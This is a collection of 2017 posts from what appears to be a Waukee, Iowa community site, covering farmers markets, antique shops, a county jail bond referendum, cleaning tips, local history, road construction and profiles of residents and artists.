2017 Guide To Local Farmers Markets

May 2, 2017 by admin

Check out this list of markets in the Des Moines / Waukee area. Many offer much more than just fresh produce, but entertainment, baked goods and flowers!

TUESDAYS

Beaverdale Farmers Market
When: Tuesdays, 4:00 – 7:30 p.m., June 6 – September 12
Where: 4100-4200 Urbandale Ave. (between Beaver Ave. & 42nd St.)
About: Features vendors, entertainment, hand-crafted items and prepared meals.

Johnston Farmers’ Market
When: Tuesdays, 3:30-6:30 p.m., May – Oct. 6
Where: Johnston City Hall parking lot, 6221 Merle Hay Road, Johnston
About: 50+ vendors featuring produce, flowers, baked goods and crafts, along with music.

WEDNESDAYS

Waukee Farmers’ Market
When: Wednesdays, 4:00 – 7:00 p.m., June 1 – End of September
Where: Triangle Park on 6th Street and Ashworth Drive, Waukee
About: 27 weekly vendors and live music. There is also an assortment of dinner options including BBQ, Jamaican and Cajun food as well as burgers and hot dogs.
Grimes Farmers’ Market
When: Wednesdays, 4:00 – 7:00 p.m., May 17 – August 30
Where: Grimes Public Library (Waterworks Park at 200 N. James Street) Parking Lot Area along the north side
About: 15 vendors and music, plus fun for the kids including a magician and face painting. Also, Italian ice for dessert.

THURSDAYS

Valley Junction Farmers’ Market
When: Thursdays 4:00 – 8:30 p.m., May – September
Where: 5th Street, Valley Junction, West Des Moines
About: The second-largest market in the metro area with 100 vendors. Offerings range from fresh produce to hand-crafted items and prepared food to enjoy at the market.

SATURDAYS

Ankeny Farmers’ Market
When: Saturdays, 8:00 a.m.- NOON, May 20 – September 30
Where: Ankeny Market & Pavilion Park, 715 W 1st Street in Uptown Ankeny
About: 35 vendors each week, music, a balloon artist, kids’ activities, and two or three options for breakfast or lunch.
Downtown Des Moines Farmers’ Market
Where: Court Avenue District, Des Moines
When: Saturdays, 7:00 a.m. – NOON, May 6 – October 28
About: The largest market in the metro-area, with 275 vendors providing an assortment of fresh produce, art, music and food vendors.

So tell us, what is your favorite part about Farmers Market season?

Where To Find Vintage and Antiques In Des Moines / Waukee

April 12, 2017 by admin

Antique store owner

If you have a deep love for all things vintage, then you are in luck, as there are some amazing shops right here in the Des Moines / Waukee area housing your next treasure!

Channel your inner American Picker or Chip and Joanna, while checking out the finds in one of these area businesses:

Funky Finds Vintage & Retro

Address: 515 18th St, Des Moines, IA 50309
Phone: (515) 777-0667
Finds: Mix of eclectic, funky and kitschy items from the 50’s, 60’s and 70’s.

Brass Armadillo Antique Mall

Address: 701 NE 50th Ave, Des Moines, IA 50313
Phone: (515) 282-0082
Finds: More than 450 antique and collectible dealers under one roof, from furniture to vintage quilts.

The Picker Knows Antiques & Collectables

Address: 1208 Grand Ave, West Des Moines, IA 50265
Phone: (515) 255-3238
Finds: Mall full of vintage and antique treasures, from refurbished furniture to jewelry.

Reclaimed: a Junklady’s Philosophy

Address: 500 E Grand Ave, Des Moines, IA 50309
Phone: (515) 288-1580
Finds: Find primative and rural beginnings, architectural salvage, industrial objects and much more!

Hinge

Address: 317 5th St, West Des Moines, IA 50265
Phone: (515) 777-2770
Finds: Perfect shop for gifts! Browse primitives, vintage industrial, one-of-a-kind salvaged furniture, apparel and more!

A Okay Antiques

Address: 124 5th St, West Des Moines, IA 50265
Phone: (515) 255-2525
Finds: Browse vintage signs, pop machines, gas pumps, neon signs, turn-of-the-century furniture & lighting!

Porch Light

Address: 526 E Grand Ave, Des Moines, IA 50309
Phone: (515) 255-5900
Finds: Eclectic mix of rustic primative furniture, household accessories, including linens, candles and more!

Raccoon Forks Trading Company

Address: 621 Des Moines St #1, Des Moines, IA 50309
Phone: (515) 809-1715
Finds: Offers unique antiques, furniture and vintage items.

What is the BEST vintage treasure you have found?
Was it at any of the stores on our list?

Dallas County Bond Referendum

March 20, 2017 by admin

On May 2, 2017, residents of Dallas County have an opportunity to vote on a bond referendum that, if passed, would create a new Dallas County Sheriff’s law enforcement facility. According to Sheriff Chad Leonard and local supporters, the passage of the referendum is no longer a “want” for Dallas County, but a “need.”

It is common knowledge that Dallas County is one of the fastest growing counties in the State, and nation. But, with the benefits of rapid growth come growing pains around infrastructure and the ability to police effectively and cost-efficiently. Due to the overcrowding of the existing law enforcement facility and a looming deadline to address the situation, it is now a need.

Why is there a “need” for a new Law Enforcement Center?

According to Sheriff Leonard, there are very real consequences for overcrowding, and many of those consequences come in the form of dollars. “It costs a lot of money to be in this situation,” says Sheriff Leonard. When the current facility is at max capacity, the county pays to have other counties shelter their inmates. “We’ve spent $237,000 in just 6 months in other facilities. That’s a lot of money that could be going to our own facility, our own infrastructure here in Dallas County,” he said.

The county also has to pay the wages and fees for the staff doing the transporting. “For a while, we had to take deputies off the streets to do transports. This hurts the average call time for citizens who need help,” said Sheriff Leonard.

According to Perry attorney, Mark Powell, the overcrowding of Dallas County’s existing jail is not a simple problem to solve. “You have to understand that Dallas County and all other law enforcement centers are regulated by state rules on the treatment of prisoners. One of those rules relate to inmate segregation,” he explained. “If Dallas County has one female prisoner,” in its existing jail “she takes up an entire cell block to herself. It’s the same for a juvenile prisoner, or a prisoner with a mental illness. Segregation rules really tie our hands, and a new facility will help with that,” Powell said.

Overcrowding is not a new problem. In 2000, the state jail inspector issued Dallas County a variance (in other words, permission) to add more jail beds to the facility, with the warning they had five years to correct the overcrowding issue. In order to do that, they had to build on to accommodate the population. When the original deadline rolled around, the county was facing more pressing issues and this got put on the backburner. 17 years later, it’s back to the forefront. The department has until 2018 to address the problem, or the state is revoking the extra beds – shrinking space even further.

Why are there so many prisoners?

“The obvious contributor to this situation is the growth of the county,” Sheriff Leonard said. “When the facility was built in the late 1980s, the population was less than 40,000 people. Nobody expected the county to grow another 40,000 in short order. We just have a major overcrowding problem,” he said.

What kind of criminals do you house?

“Ten years ago, we were housing people who mostly committed misdemeanor crimes,” Sheriff Leonard said. “Now, we’re dealing with a lot more felony crimes. We just sent one person convicted of murder to state prison, and we have another murder suspect waiting for trial.”

Why not let the other counties take care of it? Why not keep allocating the work?

Other counties are also facing overcrowding. Sheriff Leonard frequently exports his inmates to Story County, but they too are getting close to full. “They’ve asked to reduce the amount of prisoners we send,” he said. Polk County has only two of their three wings open, and are near that capacity. “At this rate, we’re going to have to enter into an agreement with three or four different jails,” Sheriff Leonard said.

“Transporting prisoners is only going to become more problematic the longer we put the issue off,” he explained. “We’re responsible for the prisoners regardless of where they are housed. We try to farm out prisoners that have already been sentenced, but sometimes we have to make a special trip just to get them back to our courthouse for a 10-15 minute hearing,” he explained. Last year alone, the transports made 158 round trips just to Story County jail. That costs in not only road time, but miles on cars.

And it has safety implications, too.

A few years ago, deputies were doing a transport and one prisoner escaped. “He took off running through the streets of Clive,” Sheriff Leonard said. “They got him back, but it was a safety risk for the public.”

“Any time you’re on the highway, you’re subject to risk,” explained Sheriff Leonard. He cited the case of two Des Moines Police officers who were transporting a prisoner to a court hearing. They were hit head-on by a drunk driver. Both officers and the prisoner were killed. “If you keep everyone under one roof, it’s safer,” he said.

“I’m looking at this as a long term investment. If we continue to do what we’re doing now for the next 30 years, we will spend $22 million over that time period,” Sheriff Leonard said.

Hasn’t there been another referendum on this?

This is actually the fourth time that this issue has been brought to the attention of the voters over the last three years. Every one of them has been structured in a different way.

The first referendum proposed a joint facility which would contain other county offices. According to Sheriff Leonard, the objection was that residents of Adel didn’t want to see county offices leave their square.

The second referendum would have had the same result: empty buildings on the square.

With the third referendum, voters thought the proposed facility was too nice, and that it shouldn’t include windows. “I don’t think we did a good job of getting the word out that this was also going to be the Sheriff’s office, not just the jail,” Sheriff Leonard explained. “We weren’t able to get a lot of facts out to the public – we were short on time.” (For the record, they are legally obligated to provide prisoners with natural light and outside air a couple of times per week.)

This time around, Sheriff Leonard has support in getting this referendum passed. “We want to keep Dallas County a safe place to live, work, and raise a family,” Mark Powell said. Powell is with the non-partisan group Citizens for Dallas County, a group made up of 15 people from around the county who want to see the new facility built. As an attorney, and a former magistrate judge, Powell has worked closely with the Sheriff’s Department and has seen firsthand the issues the county faces. “The current facility isn’t meeting our needs now, and definitely won’t meet our needs in the future,” he explained. “It’s no longer a want, it’s a need.”

Powell indicated that the Citizens for Dallas County group came together to offer its support to Sheriff Leonard but asked that the County Board of Supervisors present their plan to them before deciding to advocate. “We felt it important to have all the cards laid out on the table, before taking this issue before the voters for a fourth time. We asked the Supervisors to present their plan, explain the need and the total cost.”

From there, Powell and the Citizens for Dallas County have focused on sharing the need for the jail both on a safety level and a fiscal level. “I don’t think people are aware of how much we as taxpayers spend to transport Dallas County inmates to other counties to house our prisoners.”

Would we house prisoners from other counties?

“The new facility isn’t specifically designed to accommodate other counties, so I don’t want to make promises I can’t keep,” said Sheriff Leonard. “However, if we have a lot of empty beds and another county needs room, we would be able to look at entering into an agreement to charge for that service.”

What will the new facility include?

“Many citizens think that they don’t need a new sheriff’s office, they have a police department. That’s not the case,” Sheriff Leonard explained. “We do all those things they don’t do, including housing their prisoners.” says Sheriff Leonard.

The new facility will house the sheriff’s office and all of the services that come with it, like administrative and civil services, highway patrol, investigations, gun permits, sex offender checks, etc. These are the things your local police department might not handle.

If the referendum passes, the facility is projected to open – optimistically – in May 2019.

How many new beds will there be?

The facility is projected to have 132 total beds. There are state rules that apply; every prisoner gets a certain square footage of “unencumbered living space.”

Will we be in this situation again?

The building will sit on 40 acres the county already owns – which is also the primary reason for the selection of its location. The building has been designed so that it can expand toward the west. “New pods can continue to be hooked right into the existing one,” he said. “You cut a new door and you’re in – it’s a very neat design and a very proficient jail.” The layout of the facility is such that officials can stand in the middle of the jail and see all prisoners at one time.

Curtis Pion, a Dallas Center City Council member who has been with the Polk County Sheriff’s Office for 20 years added “The long term vision for this facility and this site is solid. This is the best plan that has ever been offered to meet the needs of today and tomorrow for all of Dallas County. It is well thought out, well designed, and will provide for the legal requirements of the prisoners. It will also provide much needed work space for all of the staff who aren’t assigned to a patrol car.”

What will happen to the old building?

Once the county reaches a population of 82,000, it will be obligated to build another courtroom. “The county has decided they’re going to turn the current jail into a courtroom and move criminal court to this building,” Sheriff Leonard said. They will maintain a few cells for easy transport and containment. This change will increase the security of court operations, as prisoners will no longer need to be walked across the street.

Final thoughts

“This facility – the overall solution – takes care of all the problems we’re going to have with overpopulation,” Sheriff Leonard said. “There’s nothing here that’s fluff. We’ve designed it to fit the needs of the employees of the Sheriff’s Office, as well as the county. And there will be no empty spaces on the Adel square.”

Sheriff Leonard has scheduled public tours of the existing jail, as well as town hall meetings throughout the county to discuss the Referendum. For a list of jail tour and town hall dates, or for more information, go to www.dallascountyvote.com.

Must-Try Spring Cleaning Hacks

March 13, 2017 by admin

It’s Spring cleaning season! For some, you’ve waited all year for the chance to dust your base boards and scrub every possible surface in your home.

For others, you’d rather rewind and relive January than grab a mop. No matter what camp you fall into, these Spring Cleaning hacks are a must-try!

Here are tips for cleaning some common areas in your house:

Lampshades

Do you own a dozen lint rollers but don’t actually have a dog (slowly raises hand)? Put those little gems to use on your lampshades. Roll it over you lampshades and pick-up that stubborn dust!

Bathroom Mirror

It’s always amazing how far toothpaste splatter can go on a mirror! Get rid of those smears with foam shaving cream. Just squirt on some foam and wipe down with a clean cloth!

Stainless Steel

Olive oil isn’t just for dipping bread! Use a small amount of a cloth and wipe over your stainless steal surfaces. It will remove any smears (a.k.a. fingerprints) and leave sparkling finish!

Sponges

Give your sponges a second (or third or fourth) life in your microwave. Saturate your sponge with water and place in the microwave for at least one minute. This will kill any bacteria contained in the sponge.

Outdoor Patio

Use non bleach laundry detergent to clean your outdoor surfaces such as wood and concrete. Take a bucket of water and add powder or solution to the water and use a pressure washer to clean away dirt.

Garbage Disposal

Disposal after a while can start to stink… yuck! Use this simple trick to get rid of the odor. Chop lemon into small pieces and place in an ice mold. Top with vinegar and freeze. Place on into your disposal and run until dissolved.

Crown Moulding

Cleaning crown moulding can be tricky! An easy way to remove dust and cob webs is to secure a towl around a broom with a rubber band and get those hard to reach spots!

Toys

An easy way to wash the kids toys is to have them take a spin in the dishwasher! Make it a party and have the kids help! Simply place plastic toys in the dishwasher and run on a low cycle.

Water Rings

No matter how many coaster are laying around your house, water rings still manage to make an appearance. Easily remove them with a hair dryer. That’s right a hair dryer. Then be sure to wipe with a little oil for a pristine finish!

TV and Computer Screens

Have extra coffee filters laying around? Use them to gently wipe down TV and computer screens!

Do you have any tried-and-true cleaning hacks? Have you tried any on this list?

Waukee History: Lewis Addison Grant

March 8, 2017 by admin

Many of us already know that Waukee was founded in 1869, when General Lewis Addison Grant and Major William Ragan purchased 320 acres of land from Cyrus W. Fischer. But how much do you know about these men? Let’s take a closer look at the life of Lewis Addison Grant.

Grant was born to James and Elizabeth Wyman Grant on January 17, 1828, in Winhall Hallow, Bennington County, Vermont. The youngest of 10 children, he attended school at the Academy at Chester in Townsend, Vermont until he was 16 years old. He also taught school for five years while he studied law. He passed the bar in 1855 and practiced law in Bellow Falls, Vermont.

Grant married S. Agasta Hartwell on March 11, 1857. The couple welcomed a daughter named Augusta Sarah in 1859. Unfortunately, his wife passed away on January 27, 1859. Lewis remarried four years later to Mary Helen Pierce—a niece of President Franklin Pierce. Together, they had two sons, Ulysses Sherman, born in 1867, and James Colfax, born in 1869.

Grant left the firm of Stoughton & Grant to enter the Army at the onset of the Civil War. He was commissioned major of the Fifth Vermont Infantry Volunteers which was mustered into service on September 16, 1861 at St. Albans, Vermont to serve three years.

According to war department records, Major Grant participated in several important battles with his brigade in the confederate army, including those in Yorktown on May 5, 1862; Golding Farm on June 28, 1862; Savage Station on June 29, 1862; White Oak Swamp on June 30, 1862; and Fredericksburg from December 13-14, 1862. In the position of Brigade Commander or Division Commander, he battled Fredericksburg and Salem Heights from May 3-5, 1863; Gettysburg from July 2-3, 1863; and many more.

“The battle at Salem Heights, Virginia, on May 3, 1863, was the first taste of combat leadership for Colonel Lewis Grant, who had assumed command of his brigade only two and one-half months earlier. He was cited for his heroic leadership in that action wherein, having already crossed the river, he deployed his men along Hazel run, outside Fredericksburg. The Confederate army poured out of the city and attacked the Union forces near Salem Church, where Colonel Grant led his men is a brave defense during which he was himself wounded. His forces held throughout the night, enabling the Sixth corps to cross the river the following morning.”

Grant was honorably discharged as a Colonel on May 20, 1864. He then accepted an appointment as Brigadier General of Volunteers. The same year, he was commissioned Major General of United States Volunteers for gallant and meritorious service in the campaign before Richmond, Virginia and the Shenandoah Valley. From June 18 to July 10, 1864, he and his men were at the Siege of Petersburg; from Dec. 1864 to April 1865, they were at the assault on Petersburg; and from April 2-6, 1865, they were at Sailor Creek.

Our General Grant was a distinguished officer and a commander of the famed Vermont Brigade. Honorably discharged on August 24, 1865, he was approached to accept another commission in July of 1866. After four years of serving, he declined the honor, preferring to live a private life.

After his discharge, General Grant resumed practicing law in Moline, Illinois and later, in Des Moines.

In 1869, his land investment company, Grant, Ragan and Co., planned and laid out our Waukee. General Grant’s business ventures led him to the Twin Cities. His real estate interests in the Twin Cities eventually demanded more of his attention and he and his family moved there.

From 1890-1893, he served as Assistant Secretary of War. During six weeks of this time (Nov. 5, 1891 to Dec. 17, 1891), he served as Acting Secretary of War, under President Benjamin Harrison, until Secretary Elkins entered office. On May 11, 1893, General Grant received the Medal of Honor for his part in the Battle of Salem Heights.

Lewis Grant died at the age of 90 on March 20, 1918, in Minneapolis. He is buried at Lakewood Cemetery in Minneapolis.

City of Waukee: Construction Zone Ahead

March 8, 2017 by Summer Evans

Spring Brings the Start of Construction to Widen Alice’s Road

When Grand Prairie Parkway was completed in December 2015, it opened a new gateway to Waukee from the south and gave commuters a more direct connection to the Interstate. But, the City isn’t done improving this main thoroughfare quite yet. The widening of Alice’s Road north of University Avenue will begin in April, taking it from two lanes to six.

“The widening of Alice’s Road has been in the planning phases for several years now,” said Waukee City Administrator Tim Moerman. “We often hear from residents who are frustrated that we did not widen Alice’s Road concurrently with the construction of Grand Prairie Parkway. While the City budget did not allow us to do both projects simultaneously, we built Grand Prairie with the future widening of Alice’s Road already in mind.”

City officials consider the Grand Prairie Parkway and Alice’s Road projects to be under one umbrella. The construction of Grand Prairie Parkway from Interstate 80 to University consisted of Phases 1, 2 and 3. The widening of Alice’s Road north of University will consist of Phases 4 and 5.

Phase 4 will begin this April and will be completed in late fall of this year. It includes the widening of the road from University Avenue to SE Olson Drive as well as construction of a new pedestrian underpass that will provide a safe place to cross Alice’s Road via the Heart of the Warrior recreational trail. Phase 5 will begin in April 2018 and will be completed in the fall of 2018. It includes the improvements from SE Olson Drive to just north of Hickman Road. And, the best news about the project is that Alice’s Road will remain open throughout construction!

“We know it would be detrimental for drivers and businesses to completely close down Alice’s Road for the better part of two years. The project’s designer [Foth Infrastructure & Environment] recommended a way to keep the road open,” said Waukee Public Works Director John Gibson. “At the beginning of the 2017 phase, the existing two lanes of Alice’s Road will remain open to traffic while three of the new northbound lanes are built next to the old road. Halfway through the summer when those lanes are completed, we will open those to traffic, tear out the two old lanes and build the three southbound lanes.”

Gibson noted that there will be some intermittent road closures near Alice’s Road. SE Olson Drive and Frontier Drive will both be affected by temporary closures, but not at the same time. City communications channels and large on-site signs will alert drivers of upcoming closures or traffic slow-downs.

As with all construction, much is dependent on weather and other uncontrollable circumstances. The project timeline will change as needed. Here is a tentative timeline of what will occur in 2017’s Phase 4 of the Alice’s Road widening project:

Early April

Anticipated start of Phase 4 construction
Grading east of Alice’s Road for fiber relocation

April-May

Construct storm sewer main, laterals and intakes
Relocate and construct water main

May-July

SE Olson Drive closed to the east of Alice’s Road for reconstruction
Construct future northbound and auxiliary turn lanes
Construct eastern portion of pedestrian underpass and trail/utility connections

July-October

SE Olson Drive to the west of Alice’s Road closed for reconstruction
Traffic pattern shift to new northbound lanes and construction of future southbound lanes
Construct western portion of pedestrian underpass and trail/utility connections

September-October

SE Frontier Drive closed for reconstruction

October-November

Construct raised center median

November

Construct temporary pavement to Phase 5
Activate lighting and permanent public signals

If all goes as planned, the new six-lane portion of Alice’s Road from University to SE Olson will open in its entirety in late fall of 2017 with the stretch from SE Olson to north of Hickman opening in fall 2018. The estimated cost of Phase 4 is $9.8 million. The estimated cost of Phase 5 is $13.2 million. The project will be funded by a combination of GO Bonds and federal transportation funding.

The City of Waukee has several tools to help drivers stay up-to-date on Alice’s Road improvement progress:

Sign up with the “Notify Me” tool on the Waukee.org homepage to receive project updates and upcoming milestones via email.
Become a subscriber to the City’s monthly e-newsletter by visiting Waukee.org/NewsletterSignUp.
Receive alerts when traffic will be shifting or closed by registering at nixle.com for the City’s free notification and emergency alert text messaging system.
Visit the City’s Facebook page (/CityofWaukeeIowa), and Twitter and Instagram (@CityofWaukee) pages for current news.

Thank you in advance for your patience and for being extra attentive when driving through what will soon be an area surrounded by construction workers and heavy equipment. This project will take some time, but it will greatly improve the traffic flow within the City of Waukee.

Faces of Waukee: Cynthia Shulman

March 8, 2017 by admin

Tell us a little about your family.

I’ve lived in Ames for 23 years. My husband, Marc, is the team physician for Iowa State University. I have two children, Jennifer, who is 21 and a senior at Syracuse University and Mitchell, who is 17 and a junior at Ames High School. My daughter was a competitive figure skater for 14 years and my son plays hockey for the Ames Little Cyclones. I’ve spent a great deal of my time in Iowa visiting ice rinks.

How did you come to start Kiln Time?

I moved from the suburbs of Boston to Iowa. To me, the Midwest was vastly different from the East Coast. Massachusetts offers many things for all ages, but Ames, where I started this business, was missing a place where families, friends and groups could socialize and embrace their creativity. When another studio, which was not so strategically located, closed, I saw my opportunity.

What made you decide to set up shop in the Waukee area?

I began my business on Main Street in Ames, and was there for eight years. When the economic crash happened, I realized that I needed to move my business to a more populated area. If people were going to visit me a couple times a year to celebrate a special occasion such as a birthday or Christmas, I needed to be located in a more populated area. We have a very unique business. I felt that the Waukee area and the surrounding suburbs would benefit from our services.

In this issue, we highlight local artists who don’t hone their craft full time, but express their creativity when they can. Do you have any advice for those wanting to get into ceramics?

We have promoted two classes online over the past few years for guests to try their hand. One is for glass fusion and the other is for pottery wheel throwing. If you ask anyone who has thrown on pottery wheels, they will tell you they have a new respect for potters and their highly-priced pieces. Ceramics, and more specifically, wheel throwing, are a practiced craft, just like learning to play an instrument. If you practice with the intent to get better, you will become proficient. Like everything, it just takes time.

Faces of Waukee: Dr. David Robbins

March 8, 2017 by admin

Tell our readers about your business.

I’ve been in practice as a plastic surgeon for 13 years, and opened Des Moines Plastic Surgery 10 years ago. Des Moines Plastic Surgery offers cosmetic surgery of the face, breast and body. We also offer Neograft hair transplants, feminine rejuvenation treatments, Botox and wrinkle fillers. The popularity of plastic surgery and nonsurgical procedures has grown dramatically, so to meet the growing demand, we recently moved into an 18,000 square-foot facility in West Des Moines, where I perform cosmetic surgery in our private operating room, and where the Coachlight Clinic & Spa is located.

How did you come to choose your profession?

When I was in surgery training, I was exposed to all surgical specialties, but I didn’t want to limit myself to one type of surgery or one body area. I found plastic surgery to be a fascinating combination of reconstruction and cosmetic surgery, which would allow me to operate on any part of the body, on both adults and children. My practice initially involved mainly complex reconstruction after cancer surgery, pediatric birth deformities and trauma-related surgery. My practice is now 100 percent cosmetic surgery, and has been for several years, but my reconstructive background certainly helps me to be a better cosmetic plastic surgeon.

What is the Coachlight Clinic & Spa and how did it come about?

After I opened Des Moines Plastic Surgery 10 years ago, I quickly learned that many people were interested in nonsurgical treatments such as Botox, wrinkle fillers, CoolSculpting and laser treatments, which we have been offering for many years. Now, with our recent move to the new facility, we have also incorporated a 10,000-square-foot, five-star spa, which offers herbal and organic facials, therapeutic massages (including couples’ massages), body treatments, private men’s and women’s locker facilities and a relaxation lounge. It’s something you can’t find anywhere else in Iowa!

A spa sounds like a great way to relax when Iowa’s cold season is “uncooperative.” If you had to recommend one or two of Coachlight’s amenities, what would they be?

We have taken great time and care when planning the spa. We want people to feel comfortable and relax! One of our favorite amenities is the Relaxation Lounge, where you can curl up in your plush robe with a soft blanket and an herbal tea or infused water. Another is the Himalayan Salt Sauna, which provides great health benefits. Other unique amenities include the Eucalyptus Steam Room and Circular Rain Experience. Come relax and escape the stress of everyday life at Coachlight Clinic & Spa!

Faces of Waukee: Kaisha Brown

March 8, 2017 by admin

Where did you grow up?

I was born in Storm Lake and moved to Spirit Lake, where I graduated high school.

When did you discover you wanted to be a dentist? What inspired you?

After high school graduation, I attended college at the University of Northern Colorado in Greeley, Colorado. I played basketball all four years while studying chemistry with a pre-health emphasis.

I always had aspirations to be in the healthcare field, but I didn’t know which route to follow. Throughout college, I career shadowed several physicians who suggested I look into dentistry if I was uncertain about becoming a practitioner.

Taking this advice, I shadowed Dr. Corte McGuffey of Bear Tooth Dental in Greeley, Colorado. He inspired me to explore the dental field more intensely. Both Dr. McGuffey and my hometown dentist, Dr. Eric Nielsen (a hometown hero in his own right), helped develop my passion. I would love to return the favor to the aspiring healthcare students of Waukee.

You’re a basketball coach here in the Waukee School District. Tell us about that.

I’ve been so fortunate to be a part of a tremendous program. Chris and Sheri Guess have created one of the best high school programs in the state of Iowa. They are two of the most dedicated coaches you could ask for, and they have a blast while doing it. Their work ethic and the high level of care they demonstrate are rare in high school athletics. I look forward to seeing what they accomplish.

I was also able to work with Jodi Vogt and the junior varsity girls. We have a lot of talent coming up and we improved tremendously throughout the year. I’m excited to see what the next couple of years hold for this young and talented group!

Why did you choose to set up your practice in Waukee?

I first heard of Waukee at the 2004 state softball tournament when we (Spirit Lake) played Waukee. Later, when I was in dental school, I was thinking about where in Iowa I could see myself living long-term, and Waukee sparked my interest. I love that Waukee feels like a small town in the large metro area. Waukee has been very welcoming and made me feel right at home. I look forward to meeting more people and getting to know more about the community, its history and where it’s going in the future!

In this issue, we feature local creatives. Do you have any creative hobbies?

We’re so fortunate to live in an area where art is thriving! I absolutely love to see the murals, sculptures and paintings created by some of the most talented artists in the country. My creativity isn’t as strong I’d like it to be, but I hope to spend more time taking advantage of the classes and events offered by our growing art community.

Some people fear a trip to the dentist. What would you like to tell these folks who are likely long overdue for a checkup?

We understand! Going to the dentist is a very common fear. It’s up there with the fear of public speaking—which is my fear! We’d love to help you get over this fear, and with small steps (or nitrous oxide sedation), you can. Stop in and meet us sometime. We’d love to get to know you! After you get acquainted with us, we can schedule a check-up and talk you through every step of the appointment!

Painting the Full Picture: Meet Waukee Artists

March 8, 2017 by admin

From Left to Right: Jennifer Hoffmann. Cody Kilgore, and Emily Hartley.

Take a look at a piece of art near you. What do you see? How does it make you feel? Observing, analyzing and enjoying art is something we do every day, often without even noticing we’re doing it. But there’s another dimension to every piece of art: its artist.

Conversing with artists about why they create, what inspires them and how their history impacts their art can be just as interesting as the artwork itself. Another aspect that could be equally thought-provoking is the likelihood that the artist works a “day job” like most of us.

“Nearly every artist I know has other means of support,” said Cody Kilgore, owner of Black Cap Photography. “It’s a pretty big leap of faith to dedicate yourself to your art as your sole means of support.”

Kilgore is in the same boat. In addition to being an in-demand photographer of wedding and senior pictures (among other subjects), he helps his partner run Clarion Sage Farm, and he’s the current president of the Waukee Area Arts Council.

He says that for artists, it’s important to be “careful and disciplined with your time,” as procrastination isn’t the only potential pitfall—so is overworking.

“It’s very easy to work seven days a week if you aren’t careful. You may not work full days all seven days, but between the creative side and business side, you can easily slide into a habit of never taking a day for yourself,” said Kilgore.

With a front seat view to art in Waukee, he feels the visibility of art and excitement about it is growing.

“Right now, everyone is looking downtown [Des Moines] for the art scene, and reasonably so. We have patrons in and around Waukee, but the rise of artists and the attention to art is just beginning to take shape here. We hope to impact that.” (The Waukee Area Arts Council is a nonprofit organization dedicated to enhancing the quality of life through the fine arts in the western suburbs of Des Moines and the surrounding area.)

Jennifer Hoffmann, vice president of the Arts Council, said that being involved with the group really opened her eyes to the wide variety of people that live in Waukee.

“I never would’ve thought a belly dancer, organic farmer/photographer, puppeteer and jouster, singers, artists, and community band members would all live in Waukee and get together every month to plan events to bring the arts to this community,” said Hoffmann. “Waukee is growing quickly and bringing a lot to the table. I’m excited for what the future holds.”

The impact for which the Council strives is certainly visible at the annual Waukee Arts Festival. Last year the family-friendly event saw 55 artists and over 3,000 visitors, as well as 10 different musicians and six local food vendors.

This year’s festival will feature more artists (75 are expected) and easier access to the artists’ booths along the park road. It will also be held on a Saturday instead of a Sunday. Mark your calendars for a fun-filled day on July 8 from 11 a.m.-5 p.m. at Centennial Park, followed by a concert from 6:30-8 p.m.

“This year, our featured artist is Nash Cox, an extraordinary award-winning watercolor artist whose detailed works featuring vintage automobiles are something you have to see to believe,” said Kilgore.

“You’ll have to do a double-take on his watercolor paintings, as they have great detail and look like a photograph,” added Hoffmann.

For artists looking to exhibit at the popular event, the registration form can be found online at waukeearts.org. Student exhibitors were invited for the first time in 2016 and are welcome to register again this year. For Hoffmann, this is one of the most exciting aspects of the festival.

“The high school students of Waukee are very talented and it’s wonderful to see upcoming artists in this community,” she said.

Kilgore added that the Council works hard to find unique food vendors that offer a variety of options. This year, visitors will also be able to buy a cold beer—perfect on a hot summer day or while enjoying the evening concert.

The Waukee Arts Festival is an optimal time to meet local artists in person, but in the interim, read further to get to know four locals with a passion for creating.

Meet Artists in Your Community

Cody Kilgore

Photographer, Organic Farmer, President of the Waukee Arts Council

MyWaukee: What’s new in your world of photography?

CK: Twig, stone, and stream photography. It centers on adventure weddings, where people do their engagement sessions or their weddings in remote places. The end goal is to land a wedding at Everest base camp someday!

Do you have any advice for aspiring artists in Waukee?

Develop a plan that’s realistic about how you will sell what you do, and what you can and can’t live without, and then close your eyes and jump. There will be challenging times, hard times and times of doubt. But there will come a point where you will suddenly realize, ‘Wow! I’m making it!’

Visit blackcapphotography.com to get a better taste for Kilgore’s photography style and review his portfolio.

Jennifer Hoffmann

Painter, Analyst at Wells Fargo, Waukee Area Arts Council VP

Hoffman was first introduced to the Waukee community when she moved to West Des Moines from northwest Iowa about a decade ago, at which time she began working as a substitute teacher for the Waukee Community School District. While teaching, she saw a lot of talented students with a passion for art, and after leaving the school district, she needed to fill her art void. So, she got involved with the Waukee Area Arts Council and has served as Vice President since 2014.

MyWaukee: How would you describe your aesthetic? What artistic medium do you work in?

JH: I enjoy creating abstract art and I also do still-lifes and the occasional portrait. I typically work with acrylic paints but I also use charcoals and other mixed media in my work. The abstract paintings I create are usually multiple canvases and part of a larger series. I like to create paintings that belong together and can be displayed multiple ways. This way, the person that buys my art and hangs it in their home can create a completely different piece of art than another person that has purchased the same series. In a sense, the buyer becomes a collaborator with my art!

How do you balance your day job with your time spent creating art?

I work at Wells Fargo and I’m an avid volunteer with many organizations. I try to focus on doing one creative thing per month. My house has an art/podcast studio in the basement, and my husband, Griffin, motivates me to work on my art while he works on his podcast. Sometimes finding the right balance is about motivating each other and making one another accountable for their goals.

Speaking of motivation, what motivates you most?

What motivates me most is when my friends ask me to create art for their homes. I enjoy creating something that is personalized just for them. I feel so honored when they want my art to be a part of their home. It’s my ultimate goal for all of my friends to own a piece of my art.

Where can someone go to view or buy your work?

My Etsy shop is JH25thStreetStudio, or you can find me on Facebook at JH 25th Street Studio or contact me via email at jennhoffmann12@gmail.com. (I make custom art as well.)

Eric Rolek

Mixed-Medium Artist, Microvellum Engineer

After graduating from Waukee High School in 2009, Rolek headed to Iowa State University and graduated with a Bachelor of Fine Arts degree. He moved back to Waukee and brought with him an ever-expanding knowledge for beautiful works of art. When not working, he blows glass at the ISU Gaffers Guild (which he joined while in college. Rolek’s works have been in national and local exhibitions, and he’s received several awards and special recognitions at these competitions.

MyWaukee: What inspires your artwork?

ER: My body of work amongst the mediums wood, glass and ceramics is influenced by everything I’ve encountered through my travels and life experiences. From geometric building structures to the most organic shapes in nature, I start with the original form and abstract it to create a new outlook that wasn’t perceived before. The work I create doesn’t portray a deep political or environmental meaning, but simply the essence of well-articulated design and craftsmanship.

I have a love for working with all the different mediums because they all require a completely unique process to get a finished piece of art.

What’s your take on the art scene in Waukee?

Growing up in Waukee, I never saw much public art on display, so I’m really excited to see the push of public art developing in Waukee area.

What’s your “day job,” so to speak?

